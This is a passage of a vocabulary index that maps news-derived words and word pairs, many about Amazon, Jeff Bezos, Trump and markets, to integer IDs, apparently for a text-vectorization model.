"org wp": 199199, "buffett principles": 199200, "authentic version": 199201, "vaccine knowledge": 199202, "company significant": 199203, "unfavorable developments": 199204, "child teen": 199205, "replacement": 199206, "awarded": 199207, "riverhead books": 199208, "impact prime": 199209, "family stuck": 199210, "simply minute": 199211, "havei": 199212, "various aspects": 199213, "carbon": 199214, "revulsion": 199215, "phenomenal opportunity": 199216, "true cms": 199217, "sessions testifies": 199218, "jersey sent": 199219, "secular stories": 199220, "pluribus unum": 199221, "past accusations": 199222, "continued growth": 199223, "service issue": 199224, "colleague gabriel": 199225, "admiringly tweeted": 199226, "predicament": 199227, "way insider": 199228, "zoom": 199229, "foie gras": 199230, "fdx": 199231, "11pm": 199232, "pick photograph": 199233, "strengthen president": 199234, "executive revelatory": 199235, "region particularly": 199236, "cool recode_logomark": 199237, "songs": 199238, "far refrained": 199239, "h0 e0": 199240, "chunks": 199241, "venezuela gold": 199242, "extended stay": 199243, "trucks eliminating": 199244, "future price": 199245, "supply fleets": 199246, "plan firms": 199247, "player dimitrios": 199248, "cristiano lima": 199249, "us150": 199250, "gravity": 199251, "trump visit": 199252, "daring": 199253, "bermuda report": 199254, "743 shares": 199255, "moving away": 199256, "pushes": 199257, "medications": 199258, "corrugated boxes": 199259, "companies ahead": 199260, "weather travel": 199261, "sure sounds": 199262, "howorth owner": 199263, "meal": 199264, "reported 283": 199265, "sacrosanct control": 199266, "significant challenges": 199267, "policies walmart": 199268, "ceo ring": 199269, "cnn printing": 199270, "2018 benzinga": 199271, "fear pervades": 199272, "means shoppers": 199273, "operation included": 199274, "government activities": 199275, "incident posted": 199276, "recently seeing": 199277, "synthetic": 199278, "money bribe": 199279, "scales included": 199280, "equity cap": 199281, "impact nearly": 199282, "talking points": 199283, "763 reduced": 199284, "tax discrepancy": 199285, "opposite point": 199286, "87bn": 199287, "different suppliers": 199288, "private citing": 199289, "fortune lies": 199290, "shutterfly taps": 199291, "charity work": 199292, "department calls": 199293, "way investors": 199294, "hillcrest": 199295, "limiting services": 199296, "100 planes": 199297, "rich member": 199298, "highest rates": 199299, "announcement revealed": 199300, "gianaris told": 199301, "debt americans": 199302, "covering entrepreneurship": 199303, "councilman jumaane": 199304, "attacked bezos": 199305, "recount arizona": 199306, "moderate gain": 199307, "potassium": 199308, "writer stumbling": 199309, "required government": 199310, "breaks allowing": 199311, "eventually winning": 199312, "stacey flynn": 199313, "latestnews": 199314, "finally pay": 199315, "galloway suggests": 199316, "work democrats": 199317, "performing right": 199318, "criminal justice": 199319, "offline efforts": 199320, "florida homeowners": 199321, "pretty low": 199322, "charitable": 199323, "delivering goods": 199324, "wmt began": 199325, "expecting material": 199326, "seattle amazon": 199327, "ancient texts": 199328, "500 net": 199329, "delivering items": 199330, "business model": 199331, "uranium": 199332, "key leverage": 199333, "wikler": 199334, "biceps instead": 199335, "lamar alexander": 199336, "home design": 199337, "extra punctuation": 199338, "uber does": 199339, "defeated gives": 199340, "convenient american": 199341, "losartan potassium": 199342, "spillover effect": 199343, "moderation methods": 199344, "criminals read": 199345, "game brooklyn": 199346, "fully educated": 199347, "336x336 uploaded_files": 199348, "unmistakable echoes": 199349, "edited": 199350, "bezos era": 199351, "subsequent": 199352, "investing big": 199353, "overworked businessman": 199354, "sedo": 199355, "giants develop": 199356, "jake lynch": 199357, "filmmakers recently": 199358, "mexican immigrants": 199359, "pretextual rationales": 199360, "help cushion": 199361, "following amazon": 199362, "jointly run": 199363, "spells": 199364, "avocados": 199365, "ex fox": 199366, "pretty basic": 199367, "investigating 2016": 199368, "million worth": 199369, "watch new": 199370, "far apart": 199371, "nyc hiring": 199372, "core fundamentals": 199373, "amazon voice": 199374, "child": 199375, "drabkin": 199376, "jj johnson": 199377, "resident james": 199378, "house leadership": 199379, "steadiness": 199380, "100 protestors": 199381, "online purchase": 199382, "unitedhealth": 199383, "autostartvideo cnn": 199384, "probably isn": 199385, "cheese sticks": 199386, "world worth": 199387, "office khan": 199388, "vidid": 199389, "washing hands": 199390, "british rights": 199391, "currency plunge": 199392, "report pay": 199393, "campaign rodriguez": 199394, "special counsel": 199395, "amazon childhood": 199396, "finest building": 199397, "expensive travel": 199398, "rapid response": 199399, "facebook katie": 199400, "double rates": 199401, "original price": 199402, "mobil nyse": 199403, "jeffrey blackburn": 199404, "police evidence": 199405, "anthony joshua": 199406, "year ashland": 199407, "new album": 199408, "j\u00f6rg": 199409, "wife set": 199410, "thecoverage": 199411, "sign petition": 199412, "instinet securities": 199413, "motherhood": 199414, "wheel": 199415, "drive american": 199416, "hotel featuring": 199417, "michal": 199418, "camera filters": 199419, "appellate division": 199420, "line retailers": 199421, "yousuck2020": 199422, "stephanopoulos": 199423, "airship": 199424, "operations near": 199425, "nv illusionist": 199426, "american clown": 199427, "carl shapiro": 199428, "ally acquires": 199429, "chief attacks": 199430, "rc1d900f0700 number": 199431, "agency billions": 199432, "education youth": 199433, "cheerful chubby": 199434, "reinterpret": 199435, "seemingly rigged": 199436, "stars dakota": 199437, "var m4": 199438, "publicized drug": 199439, "service unsustainable": 199440, "companies access": 199441, "infringed": 199442, "reunite immigrant": 199443, "feature films": 199444, "price leader": 199445, "101 g4": 199446, "clothes supplies": 199447, "completed": 199448, "giggling": 199449, "favor liberal": 199450, "sanders role": 199451, "address rumors": 199452, "printed billion": 199453, "jobs tend": 199454, "dangers facial": 199455, "protect democracy": 199456, "holds local": 199457, "sylvia": 199458, "private business": 199459, "jonah lehrer": 199460, "gardy style": 199461, "ethically concerned": 199462, "life support": 199463, "waiting period": 199464, "supercharged overnight": 199465, "skip buying": 199466, "major credibilityissues": 199467, "clinches quiet": 199468, "allured": 199469, "hit 200": 199470, "champion math": 199471, "mike allen": 199472, "developing new": 199473, "bolduan bombshell": 199474, "help businesses": 199475, "assets know": 199476, "island representatives": 199477, "garden celebration": 199478, "mailbox fishing": 199479, "ami cooperation": 199480, "company companies": 199481, "credit ap": 199482, "jonestrading": 199483, "lawyer lanny": 199484, "need shopping": 199485, "amazon additional": 199486, "mattis looms": 199487, "news telling": 199488, "teacher complained": 199489, "oneplus": 199490, "predicted precipitation": 199491, "betterment": 199492, "technology leader": 199493, "jeff wilke": 199494, "hear accusations": 199495, "profit stock": 199496, "denel confirms": 199497, "representing": 199498, "estado": 199499, "liarsleakersliberals": 199500, "unless amazon": 199501, "comcast did": 199502, "cooper smith": 199503, "theprofessionals say": 199504, "drive commerce": 199505, "scandal": 199506, "daly": 199507, "amazon angie": 199508, "walmart read": 199509, "katsu sandos5": 199510, "elite bezos": 199511, "investigators began": 199512, "haralampus wrote": 199513, "temporary": 199514, "memoir tackles": 199515, "powells": 199516, "work presidents": 199517, "hq2 including": 199518, "alleges kavanaugh": 199519, "don actually": 199520, "exhales precious": 199521, "mueller investigators": 199522, "book real": 199523, "peter baker": 199524, "ab bernstein": 199525, "messages released": 199526, "brian break": 199527, "notched": 199528, "california burned": 199529, "received 120": 199530, "canada pete": 199531, "whiskey": 199532, "walked explain": 199533, "estimates offsetting": 199534, "salaries van": 199535, "bloomingdales": 199536, "media scrutiny": 199537, "2018 q4": 199538, "worth tens": 199539, "based giant": 199540, "delong jonathan": 199541, "major photo": 199542, "report virigina": 199543, "focus day": 199544, "support guaid\u00f3": 199545, "rosenstein incrementally": 199546, "eld": 199547, "2070": 199548, "amazon remember": 199549, "gsa told": 199550, "video service": 199551, "instruments led": 199552, "constance shehan": 199553, "yellow vests": 199554, "amazon second": 199555, "status 1077231267559755776": 199556, "guys elites": 199557, "carveout": 199558, "garden state": 199559, "asean foreign": 199560, "wrote according": 199561, "strategy straight": 199562, "adviser gary": 199563, "potentially generating": 199564, "service industries": 199565, "heart surgery": 199566, "expansion plan": 199567, "widespread strikes": 199568, "stopping russian": 199569, "usps workers": 199570, "saw seinfeld": 199571, "mean apple": 199572, "market caps": 199573, "protection protections": 199574, "serves breakfast": 199575, "facial matches": 199576, "schwartz": 199577, "track 1000": 199578, "susana cordova": 199579, "rubenstein veered": 199580, "comey": 199581, "1531685705 mod": 199582, "months following": 199583, "yee community": 199584, "a7 va": 199585, "interactive": 199586, "single presidential": 199587, "beginnings": 199588, "real solution": 199589, "jedi rfp": 199590, "hillary pocahontas": 199591, "summer redstone": 199592, "just fell": 199593, "observers agree": 199594, "reilly skate": 199595, "macculloch": 199596, "officer globenewswire": 199597, "took dotcom": 199598, "released decade": 199599, "plan creates": 199600, "doesn age": 199601, "reddit data": 199602, "intimate pictures": 199603, "review members": 199604, "americans john": 199605, "dangling nude": 199606, "completely separate": 199607, "company shares": 199608, "seen societies": 199609, "alphabet posted": 199610, "castro arrest": 199611, "british monarchy": 199612, "parcel giant": 199613, "war actually": 199614, "intensifies trump": 199615, "mgmt limited": 199616, "gurr comments": 199617, "drop record": 199618, "knock em": 199619, "better leverage": 199620, "giovangelo indianapolis": 199621, "estimated cost": 199622, "mole": 199623, "wild ride": 199624, "agreed mexico": 199625, "says wont": 199626, "inlineimages photoessayslides": 199627, "independent mind": 199628, "contributions state": 199629, "captured": 199630, "52billion": 199631, "fa fa": 199632, "additional 380": 199633, "new melting": 199634, "alberta": 199635, "quickly north": 199636, "2300 target": 199637, "recorded exaggerated": 199638, "just wrote": 199639, "box deals": 199640, "debut new": 199641, "ambiguously defined": 199642, "crp": 199643, "beers": 199644, "reassure": 199645, "brad lander": 199646, "properly supported": 199647, "unconstitutional actions": 199648, "extortion true": 199649, "automatically adversarial": 199650, "face comparisons": 199651, "apple macs": 199652, "emergency weather": 199653, "billion workers": 199654, "strong sales": 199655, "democrats think": 199656, "meet gov": 199657, "plants birds": 199658, "repmaxinewaters": 199659, "tentative steps": 199660, "headlineplaintext believe": 199661, "direction lawyer": 199662, "50th annual": 199663, "aid cities": 199664, "grip": 199665, "virtual jousts": 199666, "tube": 199667, "surface vail": 199668, "heller casting": 199669, "dg host": 199670, "burlington sanders": 199671, "purchase instantly": 199672, "says doubleline": 199673, "mtp compressed": 199674, "money delivering": 199675, "mandate potential": 199676, "practically wiped": 199677, "far richer": 199678, "claims crumble": 199679, "questionable accounts": 199680, "firms continue": 199681, "documentation commit": 199682, "philip jennings": 199683, "global health": 199684, "city story": 199685, "remain major": 199686, "pence tweeted": 199687, "juleanna glover": 199688, "evidence coast": 199689, "hyphens stop": 199690, "sourcing goods": 199691, "oil gold": 199692, "heather frost": 199693, "alibaba addressable": 199694, "governmental pressure": 199695, "bezos sentiment": 199696, "eroding little": 199697, "bland sisters": 199698, "enforcement official": 199699, "lost 52billion": 199700, "modest level": 199701, "enforcement rigged": 199702, "families live": 199703, "fortune 100": 199704, "fang names": 199705, "pecker pecker": 199706, "widening influence": 199707, "pov": 199708, "consistently vowed": 199709, "say people": 199710, "consumer inflation": 199711, "docu": 199712, "337": 199713, "strong tendency": 199714, "department designed": 199715, "haven spoken": 199716, "send data": 199717, "agent michael": 199718, "marconi": 199719, "help patent": 199720, "livelihoods": 199721, "billion fortune": 199722, "eamon": 199723, "post brazil": 199724, "mil jeff": 199725, "cuomosmta": 199726, "market key": 199727, "cash tech": 199728, "missing beat": 199729, "reform bills": 199730, "voor": 199731, "twist ties": 199732, "federalreserve": 199733, "dropping bombshell": 199734, "isn available": 199735, "873": 199736, "forum news": 199737, "holmes": 199738, "avery good": 199739, "misleading accusations": 199740, "massive wealth": 199741, "ukip": 199742, "southern food": 199743, "nup": 199744, "york city": 199745, "171 h8": 199746, "kingdom social": 199747, "business program": 199748, "general catalog": 199749, "trillion green": 199750, "taken humanity": 199751, "business opportunities": 199752, "regarding fatalities": 199753, "israel border": 199754, "thinking inventors": 199755, "godzilla walmart": 199756, "repeatedly dinged": 199757, "bezos stands": 199758, "fabricating stories": 199759, "investigations quality": 199760, "visit arlington": 199761, "seattle children": 199762, "maga": 199763, "graphics cards": 199764, "duty": 199765, "door greer": 199766, "york amazon": 199767, "campaign sign": 199768, "story just": 199769, "proclaimed vape": 199770, "drop testing": 199771, "month truce": 199772, "include nordstrom": 199773, "memorandum directing": 199774, "projections usa": 199775, "avoids paying": 199776, "readers wanted": 199777, "jessie carla": 199778, "enriching": 199779, "wealth automation": 199780, "state regulators": 199781, "148": 199782, "strategist tony": 199783, "adrianne": 199784, "york source": 199785, "man sends": 199786, "lgbt owned": 199787, "trump gathering": 199788, "profile criticism": 199789, "online blasts": 199790, "consecutive weeks": 199791, "statement mail": 199792, "encouraged antitrust": 199793, "important ecolab": 199794, "growth plans": 199795, "weighing": 199796, "worry social": 199797, "prime charges": 199798, "associates alleging": 199799, "marta": 199800, "trump unhappiness": 199801, "noesis mangement": 199802, "speculates": 199803, "just felt": 199804, "tangy tart": 199805, "efforts clearly": 199806, "recognition software": 199807, "called giuliani": 199808, "inspected including": 199809, "longer pre": 199810, "usage size": 199811, "california": 199812, "allows eavesdropping": 199813, "legal victory": 199814, "romero pharis": 199815, "land based": 199816, "dominated government": 199817, "trump delivered": 199818, "historic opportunity": 199819, "q4 revenue": 199820, "fall tech": 199821, "funds bartiromo": 199822, "gordy general": 199823, "hd currently": 199824, "reports new": 199825, "having trouble": 199826, "internet bookseller": 199827, "787 dreamliner": 199828, "guyana amazon": 199829, "kavanaugh sexual": 199830, "increasingly mainstream": 199831, "intelligent investing": 199832, "amazon abandonment": 199833, "crimes including": 199834, "remain positioned": 199835, "wealthfront": 199836, "really twisted": 199837, "looked": 199838, "603 shares": 199839, "pete joining": 199840, "poverty wages": 199841, "blue book": 199842, "regular letters": 199843, "politics noted": 199844, "coalition wrote": 199845, "began accusing": 199846, "print headline": 199847, "improbity": 199848, "preaching nationalism": 199849, "include investments": 199850, "military operation": 199851, "concerned physicians": 199852, "happy primeday": 199853, "dues applied": 199854, "wusa9": 199855, "environmental area": 199856, "2018 fair": 199857, "flat fee": 199858, "richard scudamore": 199859, "google results": 199860, "alinea group": 199861, "structure change": 199862, "experience magnitude": 199863, "pos": 199864, "roku nasdaq": 199865, "senator ramos": 199866, "carry texit": 199867, "duck": 199868, "carousel showindex": 199869, "developing relatively": 199870, "topic think": 199871, "leaders offered": 199872, "legum juddlegum": 199873, "known officially": 199874, "trade tension": 199875, "georgia offered": 199876, "role models": 199877, "trump npr": 199878, "blackmail acting": 199879, "individual": 199880, "tariffs global": 199881, "vestager suspects": 199882, "travolta": 199883, "doesn say": 199884, "dictator liberal": 199885, "subsidized housing": 199886, "secondhand": 199887, "dangerous saying": 199888, "probe publically": 199889, "sell trump": 199890, "improving outcomes": 199891, "hr management": 199892, "unveiled brand": 199893, "paso loves": 199894, "existent corporate": 199895, "administration scandals": 199896, "bashir": 199897, "lighthouse keepers": 199898, "underserved areas": 199899, "different resumes": 199900, "help oil": 199901, "canadian government": 199902, "executives emails": 199903, "service economy": 199904, "rhapsody star": 199905, "newsweek according": 199906, "depended": 199907, "2006 hasn": 199908, "denounces": 199909, "obscure compact": 199910, "bonwit teller": 199911, "congress prepares": 199912, "commit crime": 199913, "performing today": 199914, "claims including": 199915, "overcorporate interests": 199916, "corporate history": 199917, "retail stock": 199918, "beverly hilton": 199919, "deteriorate": 199920, "public scrutiny": 199921, "restructure massive": 199922, "resources meant": 199923, "bourdain explore": 199924, "illegally undermine": 199925, "link plausible": 199926, "political divide": 199927, "writer neighbor": 199928, "complete logistics": 199929, "gripping crime": 199930, "deplorable romper": 199931, "typical": 199932, "love crazy": 199933, "evaluation shows": 199934, "thinks government": 199935, "julie pace": 199936, "questions": 199937, "jeremy mclellan": 199938, "surgical": 199939, "legal trouble": 199940, "hasn disappeared": 199941, "cnn deal": 199942, "hear dhs": 199943, "demonstration did": 199944, "story bear": 199945, "strong leads": 199946, "constellations": 199947, "buy devices": 199948, "twitter laura": 199949, "unacceptable": 199950, "securely launch": 199951, "definitively say": 199952, "senate district": 199953, "enquirer natenquirer": 199954, "statement pictures": 199955, "bezos shells": 199956, "solar lights": 199957, "fix wins": 199958, "corning": 199959, "settle personal": 199960, "did president": 199961, "linking trump": 199962, "sequence": 199963, "trump inauguration": 199964, "tone used": 199965, "vietnam miracle": 199966, "wildlife": 199967, "louis asks": 199968, "scottish granny\u0430janice": 199969, "fall suggested": 199970, "democratic megadonor": 199971, "rogue officials": 199972, "realized needed": 199973, "center operators": 199974, "payment services": 199975, "faster shipping": 199976, "designation created": 199977, "sr anthony": 199978, "missoula mont": 199979, "trump tirades": 199980, "various terms": 199981, "3a 2f": 199982, "eavesdropping": 199983, "personal fleet": 199984, "jeff having": 199985, "technology policy": 199986, "independent establishment": 199987, "paranoid": 199988, "wrong hannah": 199989, "hensinki today": 199990, "deliver surprise": 199991, "levinson wrote": 199992, "love hate": 199993, "249": 199994, "2018 lobbying": 199995, "reportedly knew": 199996, "regularly insisting": 199997, "tr xlf": 199998, "holzer llc": 199999, "matching lengths": 200000, "called obstruction": 200001, "russian vladimir": 200002, "open restaurant": 200003, "online customers": 200004, "army fight": 200005, "ewarren": 200006, "f1ffc8b1b28541f8a14202dff10fb148": 200007, "distress": 200008, "melania steps": 200009, "recognize faces": 200010, "groups americans": 200011, "lung cell": 200012, "including substantial": 200013, "pyrotechnic newbies": 200014, "parenting team": 200015, "adriano": 200016, "escalating tariffs": 200017, "wing power": 200018, "bqb58ewvji": 200019, "post support": 200020, "sena questioned": 200021, "president accused": 200022, "roping": 200023, "nan rich": 200024, "archie jughead": 200025, "literally claiming": 200026, "charles grassley": 200027, "encouraging figures": 200028, "month lifted": 200029, "american lawman": 200030, "oli scarff": 200031, "sexually explicit": 200032, "ceremony vice": 200033, "miscalculating": 200034, "unshowy": 200035, "gone way": 200036, "republican allies": 200037, "throwing jabs": 200038, "new mandate": 200039, "799 shares": 200040, "detailed information": 200041, "wealth tied": 200042, "stops": 200043, "salesforce number": 200044, "2018meanwhile": 200045, "vehicle producer": 200046, "attacks recent": 200047, "strategy analysts": 200048, "far new": 200049, "mulls ipo": 200050, "amazon dig": 200051, "cooking channel": 200052, "g6 symbol": 200053, "2012 brazilian": 200054, "pure way": 200055, "veteran recalls": 200056, "consumers photo": 200057, "neal requested": 200058, "insider amazon": 200059, "half dozen": 200060, "panel shawna": 200061, "different companies": 200062, "southern poverty": 200063, "new accounts": 200064, "sent 320": 200065, "brilliant jack": 200066, "beast mccain": 200067, "abbreviated life": 200068, "u9e form": 200069, "cute": 200070, "chicha": 200071, "meaningful ding": 200072, "plusmediasolutions": 200073, "program turns": 200074, "rigorous economic": 200075, "evaluated compared": 200076, "shocking leaked": 200077, "0000 unch": 200078, "amazon affiliates": 200079, "ii thedonman1": 200080, "cnn want": 200081, "buds chefsgiving": 200082, "warren break": 200083, "construction unions": 200084, "mccain service": 200085, "genome sciences": 200086, "tight black": 200087, "maccallum arguing": 200088, "barr relinquished": 200089, "unsettling financial": 200090, "gizmos": 200091, "remove owlprevitem": 200092, "medical assistance": 200093, "apollo did": 200094, "mcmillandoolittle": 200095, "dick sporting": 200096, "income amazon": 200097, "zeal": 200098, "abney": 200099, "community school": 200100, "read stories": 200101, "large profits": 200102, "stuff really": 200103, "miller russ": 200104, "nations report": 200105, "soap": 200106, "open american": 200107, "revise downward": 200108, "release pecker": 200109, "bar judge": 200110, "weir": 200111, "hill mayor": 200112, "hiking boot": 200113, "significant role": 200114, "thrall": 200115, "economist hal": 200116, "deferred liabilities": 200117, "energy health": 200118, "service altogether": 200119, "existing trust": 200120, "bonfire": 200121, "workers hefty": 200122, "rainfall patterns": 200123, "support entrepreneurs": 200124, "alike panelists": 200125, "clean shaven": 200126, "employee leaked": 200127, "beaumont juana": 200128, "president statements": 200129, "texts washington": 200130, "willful": 200131, "gone unnoticed": 200132, "cia civil": 200133, "2018 west": 200134, "patents amazon": 200135, "recusal amid": 200136, "rihanna sends": 200137, "controls alessandra": 200138, "air": 200139, "department recives": 200140, "songman": 200141, "2018 correction": 200142, "recode presents": 200143, "better left": 200144, "commerce amazon": 200145, "amazon ignores": 200146, "bigger invitation": 200147, "updated material": 200148, "technologies ceo": 200149, "company explicitly": 200150, "spx": 200151, "gileads": 200152, "politics bezos": 200153, "energy company": 200154, "sensational statement": 200155, "says aides": 200156, "nganang previous": 200157, "pathname r4ee": 200158, "yes rush": 200159, "events birthdays": 200160, "watched food": 200161, "quadrille publishing": 200162, "office environment": 200163, "books exceeding": 200164, "major customers": 200165, "insider requests": 200166, "sandra": 200167, "notably alec": 200168, "irrevocable decisions": 200169, "billing": 200170, "forfeit": 200171, "deducted according": 200172, "leveraging": 200173, "tech smartphone": 200174, "trump began": 200175, "exclusive data": 200176, "content related": 200177, "university told": 200178, "political gain": 200179, "tolerance policy": 200180, "despite hq2": 200181, "packaging delivery": 200182, "neibauer": 200183, "left chief": 200184, "keying": 200185, "comment woodward": 200186, "isn entirely": 200187, "greenpeace slammed": 200188, "cnn quote": 200189, "eliciting variety": 200190, "billion dollar": 200191, "surprise aside": 200192, "statement openly": 200193, "norms efforts": 200194, "beneficial expenditure": 200195, "districts voted": 200196, "sellers list": 200197, "8700 unch": 200198, "korea iran": 200199, "case w5q": 200200, "largest media": 200201, "canadians worry": 200202, "answering questions": 200203, "radic18 jan": 200204, "fiasco black": 200205, "assassinate syrian": 200206, "approves new": 200207, "say safety": 200208, "amazon regulation": 200209, "homeless counts": 200210, "successes whatsapp": 200211, "blackmail frank": 200212, "fated hq2": 200213, "expanded nationwide": 200214, "mass public": 200215, "government renewed": 200216, "gadgets hollywood": 200217, "tax technically": 200218, "anthony abbate": 200219, "different path": 200220, "wrong fed": 200221, "defending_the_one_percent_1": 200222, "phonics": 200223, "president reported": 200224, "sam belongs": 200225, "revealed fresh": 200226, "wapo columnist": 200227, "acclaimed author": 200228, "edwardsville sent": 200229, "vote bloomberg": 200230, "secure reliable": 200231, "new technology": 200232, "happen unless": 200233, "703 bought": 200234, "alvarez dropped": 200235, "promoting left": 200236, "fide economic": 200237, "ip theft": 200238, "making typical": 200239, "ubhi connections": 200240, "incentive deal": 200241, "way people": 200242, "mired": 200243, "la times": 200244, "story shares": 200245, "pollster says": 200246, "packages new": 200247, "fall 2016": 200248, "beltway brett": 200249, "heroclip welcome": 200250, "politics ethnocide": 200251, "questioned huseman": 200252, "price valued": 200253, "controlled": 200254, "celebrating": 200255, "offering amazon": 200256, "mark sanford": 200257, "jewish dietary": 200258, "ghosn indicted": 200259, "green monkey": 200260, "essentially transferred": 200261, "assange self": 200262, "forceful criticism": 200263, "spokesman eric": 200264, "bloomberg news": 200265, "book placement": 200266, "services microsoft": 200267, "board prices": 200268, "hurricane victims": 200269, "industrial wasteland": 200270, "esque tensions": 200271, "theology": 200272, "story storm": 200273, "million packages": 200274, "protested donald": 200275, "circulation fell": 200276, "orleans obama": 200277, "officials accountable": 200278, "falling prices": 200279, "bannion jessica": 200280, "superstars": 200281, "bought distributed": 200282, "maxsa innovations": 200283, "grabbing": 200284, "stars michiel": 200285, "regular rate": 200286, "consumer privacy": 200287, "0x367 getty_173218731_200015422000928060_388160": 200288, "diverse set": 200289, "reportedly threatened": 200290, "pincus": 200291, "1m day": 200292, "digit percentage": 200293, "include raising": 200294, "bezos soon": 200295, "recipes richard": 200296, "venture reuters": 200297, "seasonality": 200298, "horrendous": 200299, "cavaliers probably": 200300, "room roared": 200301, "correspondent yes": 200302, "monopolistic nature": 200303, "post propaganda": 200304, "product security": 200305, "futures edged": 200306, "nbc trump": 200307, "afghans place": 200308, "adequate taxes": 200309, "alc\u00e2ntara": 200310, "site ebay": 200311, "economic advisers": 200312, "cash cow": 200313, "axios axios": 200314, "total applications": 200315, "annual membership": 200316, "cookbooks broadcast": 200317, "surprised peers": 200318, "problematic accounting": 200319, "conservation lack": 200320, "post reposted": 200321, "quarter record": 200322, "ask richard": 200323, "bidders accelerates": 200324, "acceso foto": 200325, "originally posted": 200326, "service according": 200327, "purchasers": 200328, "order amazon": 200329, "kavanaugh lack": 200330, "john mchugh": 200331, "charlottesville virginia": 200332, "adequately alleges": 200333, "lux sick": 200334, "b4e": 200335, "mode bartiromo": 200336, "evidently agreed": 200337, "rare private": 200338, "promotes books": 200339, "handle tens": 200340, "musical instrument": 200341, "despises": 200342, "record run": 200343, "thursdays bezos": 200344, "excoriated": 200345, "credit program": 200346, "prototype": 200347, "strike florida": 200348, "times picayune": 200349, "cia boss": 200350, "editorial pages": 200351, "work keyboards": 200352, "colorado jogger": 200353, "kilmeade shocked": 200354, "driven stories": 200355, "youtube nonetheless": 200356, "wasserman marc": 200357, "quietly finding": 200358, "robotics camp": 200359, "hannity ann": 200360, "relating": 200361, "correspondent coca": 200362, "detectors": 200363, "picks team": 200364, "leaders encouraging": 200365, "handle agency": 200366, "org a4ee": 200367, "million illegal": 200368, "called cuomo": 200369, "chicagoist just": 200370, "making reference": 200371, "testing demand": 200372, "priebus employed": 200373, "undergone political": 200374, "oeit euro": 200375, "photos international": 200376, "note quotes": 200377, "mere poetic": 200378, "hawks": 200379, "balqa region": 200380, "push investors": 200381, "men sneak": 200382, "unapproved educational": 200383, "military team": 200384, "lt gov": 200385, "blaring": 200386, "gain toronto": 200387, "cortez says": 200388, "numberof": 200389, "guilty pleasure": 200390, "soar scientists": 200391, "crowd outside": 200392, "happening trump": 200393, "prefunding retirement": 200394, "calls trump": 200395, "deal negotiated": 200396, "bezos sells": 200397, "facebook disappointing": 200398, "households remain": 200399, "madeline": 200400, "fourth quarter": 200401, "launched petition": 200402, "fashion books": 200403, "bartiromo want": 200404, "expressing doubt": 200405, "promote equity": 200406, "queens following": 200407, "fbi sting": 200408, "incorporated fiduciary": 200409, "officials delayed": 200410, "pablo schreiber": 200411, "fc ambassador": 200412, "2019 recode": 200413, "weekly newsletter": 200414, "amazon resources": 200415, "underlying motive": 200416, "wise investments": 200417, "ireland holland": 200418, "include community": 200419, "whatsappshareelement jquery": 200420, "dillard jcpenney": 200421, "big discounts": 200422, "proprietary device": 200423, "67777125": 200424, "peggy noonan": 200425, "lower says": 200426, "summary": 200427, "combinations": 200428, "russiainvestigation mccabe": 200429, "google monopoly": 200430, "2012 did": 200431, "abusing market": 200432, "quarterly number": 200433, "ecedzui0be": 200434, "zeroing": 200435, "underline": 200436, "dubious ideas": 200437, "shailene": 200438, "focus amazon": 200439, "thoroughly investigate": 200440, "actually billionaire": 200441, "example european": 200442, "fact criticizing": 200443, "rope treatment": 200444, "roost did": 200445, "metapack operating": 200446, "enforcement power": 200447, "cutting edge": 200448, "flake chairs": 200449, "market investors": 200450, "house really": 200451, "gknazimbbv": 200452, "time just": 200453, "morning news": 200454, "eat away": 200455, "claim asylum": 200456, "notorious moment": 200457, "trafficked": 200458, "berkeley professor": 200459, "news incidents": 200460, "truck explosion": 200461, "pictured wearing": 200462, "hyped": 200463, "target wouldn": 200464, "aramco bp": 200465, "hour dosing": 200466, "melissa schwartz": 200467, "object m2x": 200468, "power player": 200469, "talk magazine": 200470, "alice": 200471, "undermined guardian": 200472, "group news": 200473, "unsettled members": 200474, "results definitely": 200475, "springs": 200476, "margin notes": 200477, "major metropolises": 200478, "vikings": 200479, "sourcewhether": 200480, "fazed": 200481, "breaches moser": 200482, "startup initiative": 200483, "poorer people": 200484, "torrent sites": 200485, "hurts small": 200486, "making announcements": 200487, "phcvjdjxyi max": 200488, "retailer zappos": 200489, "hours according": 200490, "uk based": 200491, "smaller websites": 200492, "leans": 200493, "strategies tactics": 200494, "garmin": 200495, "doctored image": 200496, "jersey tax": 200497, "pulls gun": 200498, "branham": 200499, "surprise moves": 200500, "stay focused": 200501, "progress according": 200502, "carriers focus": 200503, "loosely": 200504, "following story": 200505, "unfurled": 200506, "q3 net": 200507, "eisen thank": 200508, "unaffordable": 200509, "china tesla": 200510, "kvaal": 200511, "primetime": 200512, "geekwire civic": 200513, "skirmish looks": 200514, "justice departments": 200515, "little jeff": 200516, "populist newsletter": 200517, "zurich issued": 200518, "typically improves": 200519, "longman": 200520, "early stages": 200521, "ferrar": 200522, "owned kitchen": 200523, "just hadn": 200524, "motley": 200525, "entertainer": 200526, "gordon ramsay": 200527, "bidder": 200528, "live music": 200529, "acbff": 200530, "administrative team": 200531, "locations smoke": 200532, "report new": 200533, "gileads stock": 200534, "js owl": 200535, "embarrassing private": 200536, "smaller online": 200537, "curbed fracking": 200538, "jason rezaian": 200539, "utility pole": 200540, "specific times": 200541, "advsrs": 200542, "brother saying": 200543, "kids crying": 200544, "congress zinke": 200545, "prime driver": 200546, "rutenberg": 200547, "results topped": 200548, "historically independent": 200549, "publicist": 200550, "seconds trump": 200551, "difference 180": 200552, "hightower trump": 200553, "fargo securities": 200554, "snapchat growth": 200555, "billion trump": 200556, "market today": 200557, "ingredients vaccine": 200558, "wasn just": 200559, "oppress marginalized": 200560, "rockwell collins": 200561, "________________________ reviews": 200562, "certainly adds": 200563, "bank local": 200564, "platforms actually": 200565, "headlamp consider": 200566, "stocks pinched": 200567, "bargain home": 200568, "potential deal": 200569, "just ushering": 200570, "gottlieb": 200571, "lockheed martin": 200572, "changes birthdays": 200573, "stipulates": 200574, "amazon halted": 200575, "aging industrial": 200576, "rehabilitation": 200577, "directors suzanne": 200578, "tunneling": 200579, "horseman netflix": 200580, "warehousing workers": 200581, "private bezos": 200582, "2018when 2009": 200583, "sabyasachi": 200584, "strs ohio": 200585, "shutdown rosenstein": 200586, "story wall": 200587, "300x200 turning_point_taylor_collins_poster_600_387892": 200588, "unchecked amazon": 200589, "seriously vestager": 200590, "weak areas": 200591, "appear unlikely": 200592, "tweeted video": 200593, "gripping stories": 200594, "particularly potent": 200595, "golden knights": 200596, "watching descriptionplaintext": 200597, "cincinnati enquirer": 200598, "consultancy mwpvl": 200599, "nominate": 200600, "tempe ariz": 200601, "currency called": 200602, "sch": 200603, "seeing sanchez": 200604, "craftsman": 200605, "aged": 200606, "responded bring": 200607, "barrow": 200608, "impacted consumers": 200609, "tabloid fueling": 200610, "clintonfrom tough": 200611, "inflexible government": 200612, "pension 